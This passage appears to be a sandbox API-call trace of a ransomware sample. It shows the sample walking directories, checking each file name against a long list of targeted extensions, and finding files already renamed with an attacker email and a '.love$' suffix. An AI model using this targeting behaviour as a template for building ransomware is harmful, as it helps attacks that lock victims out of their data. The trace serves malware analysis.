lpString2="la.rtf") returned -1 [0100.187] lstrlenW (lpString=".mka") returned 4 [0100.187] lstrcmpiW (lpString1=".mka", lpString2=".rtf") returned -1 [0100.187] lstrlenW (lpString=".mkidx") returned 6 [0100.187] lstrcmpiW (lpString1=".mkidx", lpString2="la.rtf") returned -1 [0100.187] lstrlenW (lpString=".mkv") returned 4 [0100.187] lstrcmpiW (lpString1=".mkv", lpString2=".rtf") returned -1 [0100.187] lstrlenW (lpString=".mos") returned 4 [0100.187] lstrcmpiW (lpString1=".mos", lpString2=".rtf") returned -1 [0100.187] lstrlenW (lpString=".mov") returned 4 [0100.187] lstrcmpiW (lpString1=".mov", lpString2=".rtf") returned -1 [0100.187] lstrlenW (lpString=".mp3") returned 4 [0100.187] lstrcmpiW (lpString1=".mp3", lpString2=".rtf") returned -1 [0100.187] lstrlenW (lpString=".mp4") returned 4 [0100.187] lstrcmpiW (lpString1=".mp4", lpString2=".rtf") returned -1 [0100.187] lstrlenW (lpString=".mpeg") returned 5 [0100.187] lstrcmpiW (lpString1=".mpeg", lpString2="a.rtf") returned -1 [0100.187] lstrlenW (lpString=".mpg") returned 4 [0100.187] lstrcmpiW (lpString1=".mpg", lpString2=".rtf") returned -1 [0100.187] lstrlenW (lpString=".mpv") returned 4 [0100.187] lstrcmpiW (lpString1=".mpv", lpString2=".rtf") returned -1 [0100.188] lstrlenW (lpString=".mrw") returned 4 [0100.188] lstrcmpiW (lpString1=".mrw", lpString2=".rtf") returned -1 [0100.188] lstrlenW (lpString=".msg") returned 4 [0100.188] lstrcmpiW (lpString1=".msg", lpString2=".rtf") returned -1 [0100.188] lstrlenW (lpString=".mxl") returned 4 [0100.188] lstrcmpiW (lpString1=".mxl", lpString2=".rtf") returned -1 [0100.188] lstrlenW (lpString=".myd") returned 4 [0100.188] lstrcmpiW (lpString1=".myd", lpString2=".rtf") returned -1 [0100.188] lstrlenW (lpString=".myi") returned 4 [0100.188] lstrcmpiW (lpString1=".myi", lpString2=".rtf") returned -1 [0100.188] lstrlenW (lpString=".nef") returned 4 [0100.188] lstrcmpiW (lpString1=".nef", lpString2=".rtf") returned -1 [0100.188] lstrlenW (lpString=".nrw") returned 4 [0100.188] lstrcmpiW (lpString1=".nrw", lpString2=".rtf") returned -1 [0100.188] lstrlenW (lpString=".obj") returned 4 [0100.188] lstrcmpiW (lpString1=".obj", lpString2=".rtf") returned -1 [0100.188] lstrlenW (lpString=".odb") returned 4 [0100.188] lstrcmpiW (lpString1=".odb", lpString2=".rtf") returned -1 [0100.188] lstrlenW (lpString=".odc") returned 4 [0100.188] lstrcmpiW (lpString1=".odc", lpString2=".rtf") returned -1 [0100.188] lstrlenW (lpString=".odm") returned 4 [0100.188] lstrcmpiW (lpString1=".odm", lpString2=".rtf") returned -1 [0100.188] lstrlenW (lpString=".odp") returned 4 [0100.188] lstrcmpiW (lpString1=".odp", lpString2=".rtf") returned -1 [0100.188] lstrlenW (lpString=".ods") returned 4 [0100.188] lstrcmpiW (lpString1=".ods", lpString2=".rtf") returned -1 [0100.188] lstrlenW (lpString=".oft") returned 4 [0100.189] lstrcmpiW (lpString1=".oft", lpString2=".rtf") returned -1 [0100.189] lstrlenW (lpString=".one") returned 4 [0100.189] lstrcmpiW (lpString1=".one", lpString2=".rtf") returned -1 [0100.189] lstrlenW (lpString=".onepkg") returned 7 [0100.189] lstrcmpiW (lpString1=".onepkg", lpString2="ula.rtf") returned -1 [0100.189] lstrlenW (lpString=".onetoc2") returned 8 [0100.189] lstrcmpiW (lpString1=".onetoc2", lpString2="eula.rtf") returned -1 [0100.189] lstrlenW (lpString=".opt") returned 4 [0100.189] lstrcmpiW (lpString1=".opt", lpString2=".rtf") returned -1 [0100.189] lstrlenW (lpString=".oqy") returned 4 [0100.189] lstrcmpiW (lpString1=".oqy", lpString2=".rtf") returned -1 [0100.189] lstrlenW (lpString=".orf") returned 4 [0100.189] lstrcmpiW (lpString1=".orf", lpString2=".rtf") returned -1 [0100.189] lstrlenW (lpString=".p12") returned 4 [0100.189] lstrcmpiW (lpString1=".p12", lpString2=".rtf") returned -1 [0100.189] lstrlenW (lpString=".p7b") returned 4 [0100.189] lstrcmpiW (lpString1=".p7b", lpString2=".rtf") returned -1 [0100.189] lstrlenW (lpString=".p7c") returned 4 [0100.189] lstrcmpiW (lpString1=".p7c", lpString2=".rtf") returned -1 [0100.189] lstrlenW (lpString=".pam") returned 4 [0100.189] lstrcmpiW (lpString1=".pam", lpString2=".rtf") returned -1 [0100.189] lstrlenW (lpString=".pbm") returned 4 [0100.189] lstrcmpiW (lpString1=".pbm", lpString2=".rtf") returned -1 [0100.189] lstrlenW (lpString=".pct") returned 4 [0100.189] lstrcmpiW (lpString1=".pct", lpString2=".rtf") returned -1 [0100.190] lstrlenW (lpString=".pcx") returned 4 [0100.190] lstrcmpiW (lpString1=".pcx", lpString2=".rtf") returned -1 [0100.190] lstrlenW (lpString=".pdd") returned 4 [0100.190] lstrcmpiW (lpString1=".pdd", lpString2=".rtf") returned -1 [0100.190] lstrlenW (lpString=".pdf") returned 4 [0100.190] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1 [0100.190] lstrlenW (lpString=".pdp") returned 4 [0100.190] lstrcmpiW (lpString1=".pdp", lpString2=".rtf") returned -1 [0100.190] lstrlenW (lpString=".pef") returned 4 [0100.190] lstrcmpiW (lpString1=".pef", lpString2=".rtf") returned -1 [0100.190] lstrlenW (lpString=".pem") returned 4 [0100.190] lstrcmpiW (lpString1=".pem", lpString2=".rtf") returned -1 [0100.190] lstrlenW (lpString=".pff") returned 4 [0100.190] lstrcmpiW (lpString1=".pff", lpString2=".rtf") returned -1 [0100.190] lstrlenW (lpString=".pfm") returned 4 [0100.190] lstrcmpiW (lpString1=".pfm", lpString2=".rtf") returned -1 [0100.190] lstrlenW (lpString=".pfx") returned 4 [0100.190] lstrcmpiW (lpString1=".pfx", lpString2=".rtf") returned -1 [0100.190] lstrlenW (lpString=".pgm") returned 4 [0100.190] lstrcmpiW (lpString1=".pgm", lpString2=".rtf") returned -1 [0100.191] lstrlenW (lpString=".php") returned 4 [0100.191] lstrcmpiW (lpString1=".php", lpString2=".rtf") returned -1 [0100.191] lstrlenW (lpString=".php3") returned 5 [0100.191] lstrcmpiW (lpString1=".php3", lpString2="a.rtf") returned -1 [0100.191] lstrlenW (lpString=".php4") returned 5 [0100.191] lstrcmpiW (lpString1=".php4", lpString2="a.rtf") returned -1 [0100.191] lstrlenW (lpString=".php5") returned 5 [0100.191] lstrcmpiW (lpString1=".php5", lpString2="a.rtf") returned -1 [0100.191] lstrlenW (lpString=".phtml") returned 6 [0100.191] lstrcmpiW (lpString1=".phtml", lpString2="la.rtf") returned -1 [0100.191] lstrlenW (lpString=".pict") returned 5 [0100.191] lstrcmpiW (lpString1=".pict", lpString2="a.rtf") returned -1 [0100.191] lstrlenW (lpString=".pl") returned 3 [0100.191] lstrcmpiW (lpString1=".pl", lpString2="rtf") returned -1 [0100.191] lstrlenW (lpString=".pls") returned 4 [0100.191] lstrcmpiW (lpString1=".pls", lpString2=".rtf") returned -1 [0100.191] lstrlenW (lpString=".pm") returned 3 [0100.191] lstrcmpiW (lpString1=".pm", lpString2="rtf") returned -1 [0100.191] lstrlenW (lpString=".png") returned 4 [0100.191] lstrcmpiW (lpString1=".png", lpString2=".rtf") returned -1 [0100.191] lstrlenW (lpString=".pnm") returned 4 [0100.191] lstrcmpiW (lpString1=".pnm", lpString2=".rtf") returned -1 [0100.191] lstrlenW (lpString=".pot") returned 4 [0100.191] lstrcmpiW (lpString1=".pot", lpString2=".rtf") returned -1 [0100.191] lstrlenW (lpString=".potm") returned 5 [0100.191] lstrcmpiW (lpString1=".potm", lpString2="a.rtf") returned -1 [0100.191] lstrlenW (lpString=".potx") returned 5 [0100.192] lstrcmpiW (lpString1=".potx", lpString2="a.rtf") returned -1 [0100.192] lstrlenW (lpString=".ppa") returned 4 [0100.192] lstrcmpiW (lpString1=".ppa", lpString2=".rtf") returned -1 [0100.192] lstrlenW (lpString=".ppam") returned 5 [0100.192] lstrcmpiW (lpString1=".ppam", lpString2="a.rtf") returned -1 [0100.192] lstrlenW (lpString=".ppm") returned 4 [0100.192] lstrcmpiW (lpString1=".ppm", lpString2=".rtf") returned -1 [0100.192] lstrlenW (lpString=".pps") returned 4 [0100.192] lstrcmpiW (lpString1=".pps", lpString2=".rtf") returned -1 [0100.192] lstrlenW (lpString=".ppsm") returned 5 [0100.192] lstrcmpiW (lpString1=".ppsm", lpString2="a.rtf") returned -1 [0100.192] lstrlenW (lpString=".ppt") returned 4 [0100.192] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1 [0100.192] lstrlenW (lpString=".pptm") returned 5 [0100.192] lstrcmpiW (lpString1=".pptm", lpString2="a.rtf") returned -1 [0100.192] lstrlenW (lpString=".pptx") returned 5 [0100.192] lstrcmpiW (lpString1=".pptx", lpString2="a.rtf") returned -1 [0100.192] lstrlenW (lpString=".prn") returned 4 [0100.192] lstrcmpiW (lpString1=".prn", lpString2=".rtf") returned -1 [0100.192] lstrlenW (lpString=".ps") returned 3 [0100.192] lstrcmpiW (lpString1=".ps", lpString2="rtf") returned -1 [0100.192] lstrlenW (lpString=".psb") returned 4 [0100.192] lstrcmpiW (lpString1=".psb", lpString2=".rtf") returned -1 [0100.192] lstrlenW (lpString=".psd") returned 4 [0100.192] lstrcmpiW (lpString1=".psd", lpString2=".rtf") returned -1 [0100.192] lstrlenW (lpString=".pst") returned 4 [0100.192] lstrcmpiW (lpString1=".pst", lpString2=".rtf") returned -1 [0100.192] lstrlenW (lpString=".ptx") returned 4 [0100.193] lstrcmpiW (lpString1=".ptx", lpString2=".rtf") returned -1 [0100.193] lstrlenW (lpString=".pub") returned 4 [0100.193] lstrcmpiW (lpString1=".pub", lpString2=".rtf") returned -1 [0100.193] lstrlenW (lpString=".pwm") returned 4 [0100.193] lstrcmpiW (lpString1=".pwm", lpString2=".rtf") returned -1 [0100.193] lstrlenW (lpString=".pxr") returned 4 [0100.193] lstrcmpiW (lpString1=".pxr", lpString2=".rtf") returned -1 [0100.193] lstrlenW (lpString=".py") returned 3 [0100.193] lstrcmpiW (lpString1=".py", lpString2="rtf") returned -1 [0100.193] lstrlenW (lpString=".qt") returned 3 [0100.193] lstrcmpiW (lpString1=".qt", lpString2="rtf") returned -1 [0100.193] lstrlenW (lpString=".r3d") returned 4 [0100.193] lstrcmpiW (lpString1=".r3d", lpString2=".rtf") returned -1 [0100.193] lstrlenW (lpString=".raf") returned 4 [0100.193] lstrcmpiW (lpString1=".raf", lpString2=".rtf") returned -1 [0100.193] lstrlenW (lpString=".rar") returned 4 [0100.193] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1 [0100.193] FindNextFileW (in: hFindFile=0x3e50640, lpFindFileData=0x349f800 | out: lpFindFileData=0x349f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x1198c, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1 [0100.194] FindNextFileW (in: hFindFile=0x3e50640, lpFindFileData=0x349f800 | out: lpFindFileData=0x349f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xa6ed1c23, ftCreationTime.dwHighDateTime=0x1d6168c, ftLastAccessTime.dwLowDateTime=0xa6ed1c23, ftLastAccessTime.dwHighDateTime=0x1d6168c, ftLastWriteTime.dwLowDateTime=0xa74b5fbc, ftLastWriteTime.dwHighDateTime=0x1d6168c, nFileSizeHigh=0x0, nFileSizeLow=0x4258, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id-B4197730.[im.online@aol.com].love$", cAlternateFileName="SETUPR~1.LOV")) returned 1 [0100.194] FindNextFileW (in: hFindFile=0x3e50640, lpFindFileData=0x349f800 | out: lpFindFileData=0x349f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xa6ed1c23, ftCreationTime.dwHighDateTime=0x1d6168c, ftLastAccessTime.dwLowDateTime=0xa6ed1c23, ftLastAccessTime.dwHighDateTime=0x1d6168c, ftLastWriteTime.dwLowDateTime=0xa74b5fbc, ftLastWriteTime.dwHighDateTime=0x1d6168c, nFileSizeHigh=0x0, nFileSizeLow=0x4258, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id-B4197730.[im.online@aol.com].love$", cAlternateFileName="SETUPR~1.LOV")) returned 0 [0100.194] FindClose (in: hFindFile=0x3e50640 | out: hFindFile=0x3e50640) returned 1 [0100.194] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x38c1270 | out: hHeap=0x4b0000) returned 1 [0100.328] FindNextFileW (in: hFindFile=0x3e50580, lpFindFileData=0x349fa7c | out: lpFindFileData=0x349fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1038", cAlternateFileName="")) returned 1 [0100.329] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xfffe) returned 0x38c1270 [0100.329] lstrlenW (lpString="C:\\588bce7c90097ed212\\1038") returned 26 [0100.329] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1038\\*", lpFindFileData=0x349f800 | out: lpFindFileData=0x349f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xa74dc724, ftLastWriteTime.dwHighDateTime=0x1d6168c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3e50840 [0100.329] FindNextFileW (in: hFindFile=0x3e50840, lpFindFileData=0x349f800 | out: lpFindFileData=0x349f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xa74dc724, ftLastWriteTime.dwHighDateTime=0x1d6168c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0100.329] FindNextFileW (in: hFindFile=0x3e50840, lpFindFileData=0x349f800 | out: lpFindFileData=0x349f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0x109e, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1 [0100.329] lstrlenW (lpString="eula.rtf") returned 8 [0100.329] lstrlenW (lpString=".1cd") returned 4 [0100.330] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1 [0100.330] lstrlenW (lpString=".3ds") returned 4 [0100.330] lstrcmpiW (lpString1=".3ds", lpString2=".rtf") returned -1 [0100.330] lstrlenW (lpString=".3fr") returned 4 [0100.330] lstrcmpiW (lpString1=".3fr", lpString2=".rtf") returned -1 [0100.330] lstrlenW (lpString=".3g2") returned 4 [0100.330] lstrcmpiW (lpString1=".3g2", lpString2=".rtf") returned -1 [0100.330] lstrlenW (lpString=".3gp") returned 4 [0100.330] lstrcmpiW (lpString1=".3gp", lpString2=".rtf") returned -1 [0100.330] lstrlenW (lpString=".7z") returned 3 [0100.330] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1 [0100.330] lstrlenW (lpString=".accda") returned 6 [0100.330] lstrcmpiW (lpString1=".accda", lpString2="la.rtf") returned -1 [0100.330] lstrlenW (lpString=".accdb") returned 6 [0100.330] lstrcmpiW (lpString1=".accdb", lpString2="la.rtf") returned -1 [0100.330] lstrlenW (lpString=".accdc") returned 6 [0100.330] lstrcmpiW (lpString1=".accdc", lpString2="la.rtf") returned -1 [0100.330] lstrlenW (lpString=".accde") returned 6 [0100.330] lstrcmpiW (lpString1=".accde", lpString2="la.rtf") returned -1 [0100.330] lstrlenW (lpString=".accdt") returned 6 [0100.330] lstrcmpiW (lpString1=".accdt", lpString2="la.rtf") returned -1 [0100.330] lstrlenW (lpString=".accdw") returned 6 [0100.330] lstrcmpiW (lpString1=".accdw", lpString2="la.rtf") returned -1 [0100.330] lstrlenW (lpString=".adb") returned 4 [0100.330] lstrcmpiW (lpString1=".adb", lpString2=".rtf") returned -1 [0100.331] lstrlenW (lpString=".adp") returned 4 [0100.331] lstrcmpiW (lpString1=".adp", lpString2=".rtf") returned -1 [0100.331] lstrlenW (lpString=".ai") returned 3 [0100.331] lstrcmpiW (lpString1=".ai", lpString2="rtf") returned -1 [0100.331] lstrlenW (lpString=".ai3") returned 4 [0100.331] lstrcmpiW (lpString1=".ai3", lpString2=".rtf") returned -1 [0100.331] lstrlenW (lpString=".ai4") returned 4 [0100.331] lstrcmpiW (lpString1=".ai4", lpString2=".rtf") returned -1 [0100.331] lstrlenW (lpString=".ai5") returned 4 [0100.331] lstrcmpiW (lpString1=".ai5", lpString2=".rtf") returned -1 [0100.331] lstrlenW (lpString=".ai6") returned 4 [0100.331] lstrcmpiW (lpString1=".ai6", lpString2=".rtf") returned -1 [0100.331] lstrlenW (lpString=".ai7") returned 4 [0100.331] lstrcmpiW (lpString1=".ai7", lpString2=".rtf") returned -1 [0100.331] lstrlenW (lpString=".ai8") returned 4 [0100.331] lstrcmpiW (lpString1=".ai8", lpString2=".rtf") returned -1 [0100.331] lstrlenW (lpString=".anim") returned 5 [0100.331] lstrcmpiW (lpString1=".anim", lpString2="a.rtf") returned -1 [0100.331] lstrlenW (lpString=".arw") returned 4 [0100.331] lstrcmpiW (lpString1=".arw", lpString2=".rtf") returned -1 [0100.331] lstrlenW (lpString=".as") returned 3 [0100.331] lstrcmpiW (lpString1=".as", lpString2="rtf") returned -1 [0100.331] lstrlenW (lpString=".asa") returned 4 [0100.331] lstrcmpiW (lpString1=".asa", lpString2=".rtf") returned -1 [0100.331] lstrlenW (lpString=".asc") returned 4 [0100.331] lstrcmpiW (lpString1=".asc", lpString2=".rtf") returned -1 [0100.331] lstrlenW (lpString=".ascx") returned 5 [0100.331] lstrcmpiW (lpString1=".ascx", lpString2="a.rtf") returned -1 [0100.332] lstrlenW (lpString=".asm") returned 4 [0100.332] lstrcmpiW (lpString1=".asm", lpString2=".rtf") returned -1 [0100.332] lstrlenW (lpString=".asmx") returned 5 [0100.332] lstrcmpiW (lpString1=".asmx", lpString2="a.rtf") returned -1 [0100.332] lstrlenW (lpString=".asp") returned 4 [0100.332] lstrcmpiW (lpString1=".asp", lpString2=".rtf") returned -1 [0100.332] lstrlenW (lpString=".aspx") returned 5 [0100.332] lstrcmpiW (lpString1=".aspx", lpString2="a.rtf") returned -1 [0100.332] lstrlenW (lpString=".asr") returned 4 [0100.332] lstrcmpiW (lpString1=".asr", lpString2=".rtf") returned -1 [0100.332] lstrlenW (lpString=".asx") returned 4 [0100.332] lstrcmpiW (lpString1=".asx", lpString2=".rtf") returned -1 [0100.332] lstrlenW (lpString=".avi") returned 4 [0100.332] lstrcmpiW (lpString1=".avi", lpString2=".rtf") returned -1 [0100.332] lstrlenW (lpString=".avs") returned 4 [0100.332] lstrcmpiW (lpString1=".avs", lpString2=".rtf") returned -1 [0100.332] lstrlenW (lpString=".backup") returned 7 [0100.332] lstrcmpiW (lpString1=".backup", lpString2="ula.rtf") returned -1 [0100.332] lstrlenW (lpString=".bak") returned 4 [0100.332] lstrcmpiW (lpString1=".bak", lpString2=".rtf") returned -1 [0100.332] lstrlenW (lpString=".bay") returned 4 [0100.332] lstrcmpiW (lpString1=".bay", lpString2=".rtf") returned -1 [0100.332] lstrlenW (lpString=".bd") returned 3 [0100.332] lstrcmpiW (lpString1=".bd", lpString2="rtf") returned -1 [0100.332] lstrlenW (lpString=".bin") returned 4 [0100.332] lstrcmpiW (lpString1=".bin", lpString2=".rtf") returned -1 [0100.332] lstrlenW (lpString=".bmp") returned 4 [0100.332] lstrcmpiW (lpString1=".bmp", lpString2=".rtf") returned -1 [0100.332] lstrlenW (lpString=".bz2") returned 4 [0100.333] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1 [0100.333] lstrlenW (lpString=".c") returned 2 [0100.333] lstrcmpiW (lpString1=".c", lpString2="tf") returned -1 [0100.333] lstrlenW (lpString=".cdr") returned 4 [0100.333] lstrcmpiW (lpString1=".cdr", lpString2=".rtf") returned -1 [0100.333] lstrlenW (lpString=".cer") returned 4 [0100.333] lstrcmpiW (lpString1=".cer", lpString2=".rtf") returned -1 [0100.333] lstrlenW (lpString=".cf") returned 3 [0100.333] lstrcmpiW (lpString1=".cf", lpString2="rtf") returned -1 [0100.333] lstrlenW (lpString=".cfc") returned 4 [0100.333] lstrcmpiW (lpString1=".cfc", lpString2=".rtf") returned -1 [0100.333] lstrlenW (lpString=".cfm") returned 4 [0100.333] lstrcmpiW (lpString1=".cfm", lpString2=".rtf") returned -1 [0100.333] lstrlenW (lpString=".cfml") returned 5 [0100.333] lstrcmpiW (lpString1=".cfml", lpString2="a.rtf") returned -1 [0100.333] lstrlenW (lpString=".cfu") returned 4 [0100.333] lstrcmpiW (lpString1=".cfu", lpString2=".rtf") returned -1 [0100.333] lstrlenW (lpString=".chm") returned 4 [0100.333] lstrcmpiW (lpString1=".chm", lpString2=".rtf") returned -1 [0100.333] lstrlenW (lpString=".cin") returned 4 [0100.333] lstrcmpiW (lpString1=".cin", lpString2=".rtf") returned -1 [0100.333] lstrlenW (lpString=".class") returned 6 [0100.333] lstrcmpiW (lpString1=".class", lpString2="la.rtf") returned -1 [0100.333] lstrlenW (lpString=".clx") returned 4 [0100.333] lstrcmpiW (lpString1=".clx", lpString2=".rtf") returned -1 [0100.333] lstrlenW (lpString=".config") returned 7 [0100.333] lstrcmpiW (lpString1=".config", lpString2="ula.rtf") returned -1 [0100.333] lstrlenW (lpString=".cpp") returned 4 [0100.334] lstrcmpiW (lpString1=".cpp", lpString2=".rtf") returned -1 [0100.334] lstrlenW (lpString=".cr2") returned 4 [0100.334] lstrcmpiW (lpString1=".cr2", lpString2=".rtf") returned -1 [0100.334] lstrlenW (lpString=".crt") returned 4 [0100.334] lstrcmpiW (lpString1=".crt", lpString2=".rtf") returned -1 [0100.334] lstrlenW (lpString=".crw") returned 4 [0100.334] lstrcmpiW (lpString1=".crw", lpString2=".rtf") returned -1 [0100.334] lstrlenW (lpString=".cs") returned 3 [0100.334] lstrcmpiW (lpString1=".cs", lpString2="rtf") returned -1 [0100.334] lstrlenW (lpString=".css") returned 4 [0100.334] lstrcmpiW (lpString1=".css", lpString2=".rtf") returned -1 [0100.334] lstrlenW (lpString=".csv") returned 4 [0100.334] lstrcmpiW (lpString1=".csv", lpString2=".rtf") returned -1 [0100.334] lstrlenW (lpString=".cub") returned 4 [0100.334] lstrcmpiW (lpString1=".cub", lpString2=".rtf") returned -1 [0100.334] lstrlenW (lpString=".dae") returned 4 [0100.334] lstrcmpiW (lpString1=".dae", lpString2=".rtf") returned -1 [0100.334] lstrlenW (lpString=".dat") returned 4 [0100.334] lstrcmpiW (lpString1=".dat", lpString2=".rtf") returned -1 [0100.334] lstrlenW (lpString=".db") returned 3 [0100.334] lstrcmpiW (lpString1=".db", lpString2="rtf") returned -1 [0100.334] lstrlenW (lpString=".dbf") returned 4 [0100.334] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1 [0100.334] lstrlenW (lpString=".dbx") returned 4 [0100.334] lstrcmpiW (lpString1=".dbx", lpString2=".rtf") returned -1 [0100.334] lstrlenW (lpString=".dc3") returned 4 [0100.334] lstrcmpiW (lpString1=".dc3", lpString2=".rtf") returned -1 [0100.334] lstrlenW (lpString=".dcm") returned 4 [0100.335] lstrcmpiW (lpString1=".dcm", lpString2=".rtf") returned -1 [0100.335] lstrlenW (lpString=".dcr") returned 4 [0100.335] lstrcmpiW (lpString1=".dcr", lpString2=".rtf") returned -1 [0100.335] lstrlenW (lpString=".der") returned 4 [0100.335] lstrcmpiW (lpString1=".der", lpString2=".rtf") returned -1 [0100.335] lstrlenW (lpString=".dib") returned 4 [0100.335] lstrcmpiW (lpString1=".dib", lpString2=".rtf") returned -1 [0100.335] lstrlenW (lpString=".dic") returned 4 [0100.335] lstrcmpiW (lpString1=".dic", lpString2=".rtf") returned -1 [0100.335] lstrlenW (lpString=".dif") returned 4 [0100.335] lstrcmpiW (lpString1=".dif", lpString2=".rtf") returned -1 [0100.335] lstrlenW (lpString=".divx") returned 5 [0100.335] lstrcmpiW (lpString1=".divx", lpString2="a.rtf") returned -1 [0100.335] lstrlenW (lpString=".djvu") returned 5 [0100.335] lstrcmpiW (lpString1=".djvu", lpString2="a.rtf") returned -1 [0100.335] lstrlenW (lpString=".dng") returned 4 [0100.335] lstrcmpiW (lpString1=".dng", lpString2=".rtf") returned -1 [0100.335] lstrlenW (lpString=".doc") returned 4 [0100.335] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1 [0100.335] lstrlenW (lpString=".docm") returned 5 [0100.335] lstrcmpiW (lpString1=".docm", lpString2="a.rtf") returned -1 [0100.335] lstrlenW (lpString=".docx") returned 5 [0100.335] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1 [0100.335] lstrlenW (lpString=".dot") returned 4 [0100.335] lstrcmpiW (lpString1=".dot", lpString2=".rtf") returned -1 [0100.335] lstrlenW (lpString=".dotm") returned 5 [0100.335] lstrcmpiW (lpString1=".dotm", lpString2="a.rtf") returned -1 [0100.335] lstrlenW (lpString=".dotx") returned 5 [0100.336] lstrcmpiW (lpString1=".dotx", lpString2="a.rtf") returned -1 [0100.336] lstrlenW (lpString=".dpx") returned 4 [0100.336] lstrcmpiW (lpString1=".dpx", lpString2=".rtf") returned -1 [0100.336] lstrlenW (lpString=".dqy") returned 4 [0100.336] lstrcmpiW (lpString1=".dqy", lpString2=".rtf") returned -1 [0100.336] lstrlenW (lpString=".dsn") returned 4 [0100.336] lstrcmpiW (lpString1=".dsn", lpString2=".rtf") returned -1 [0100.336] lstrlenW (lpString=".dt") returned 3 [0100.336] lstrcmpiW (lpString1=".dt", lpString2="rtf") returned -1 [0100.336] lstrlenW (lpString=".dtd") returned 4 [0100.336] lstrcmpiW (lpString1=".dtd", lpString2=".rtf") returned -1 [0100.336] lstrlenW (lpString=".dwg") returned 4 [0100.336] lstrcmpiW (lpString1=".dwg", lpString2=".rtf") returned -1 [0100.336] lstrlenW (lpString=".dwt") returned 4 [0100.336] lstrcmpiW (lpString1=".dwt", lpString2=".rtf") returned -1 [0100.336] lstrlenW (lpString=".dx") returned 3 [0100.336] lstrcmpiW (lpString1=".dx", lpString2="rtf") returned -1 [0100.336] lstrlenW (lpString=".dxf") returned 4 [0100.336] lstrcmpiW (lpString1=".dxf", lpString2=".rtf") returned -1 [0100.336] lstrlenW (lpString=".edml") returned 5 [0100.336] lstrcmpiW (lpString1=".edml", lpString2="a.rtf") returned -1 [0100.336] lstrlenW (lpString=".efd") returned 4 [0100.336] lstrcmpiW (lpString1=".efd", lpString2=".rtf") returned -1 [0100.336] lstrlenW (lpString=".elf") returned 4 [0100.336] lstrcmpiW (lpString1=".elf", lpString2=".rtf") returned -1 [0100.336] lstrlenW (lpString=".emf") returned 4 [0100.336] lstrcmpiW (lpString1=".emf", lpString2=".rtf") returned -1 [0100.336] lstrlenW (lpString=".emz") returned 4 [0100.336] lstrcmpiW (lpString1=".emz", lpString2=".rtf") returned -1 [0100.337] lstrlenW (lpString=".epf") returned 4 [0100.337] lstrcmpiW (lpString1=".epf", lpString2=".rtf") returned -1 [0100.337] lstrlenW (lpString=".eps") returned 4 [0100.337] lstrcmpiW (lpString1=".eps", lpString2=".rtf") returned -1 [0100.337] lstrlenW (lpString=".epsf") returned 5 [0100.337] lstrcmpiW (lpString1=".epsf", lpString2="a.rtf") returned -1 [0100.337] lstrlenW (lpString=".epsp") returned 5 [0100.337] lstrcmpiW (lpString1=".epsp", lpString2="a.rtf") returned -1 [0100.337] lstrlenW (lpString=".erf") returned 4 [0100.337] lstrcmpiW (lpString1=".erf", lpString2=".rtf") returned -1 [0100.337] lstrlenW (lpString=".exr") returned 4 [0100.337] lstrcmpiW (lpString1=".exr", lpString2=".rtf") returned -1 [0100.337] lstrlenW (lpString=".f4v") returned 4 [0100.337] lstrcmpiW (lpString1=".f4v", lpString2=".rtf") returned -1 [0100.337] lstrlenW (lpString=".fido") returned 5 [0100.337] lstrcmpiW (lpString1=".fido", lpString2="a.rtf") returned -1 [0100.337] lstrlenW (lpString=".flm") returned 4 [0100.337] lstrcmpiW (lpString1=".flm", 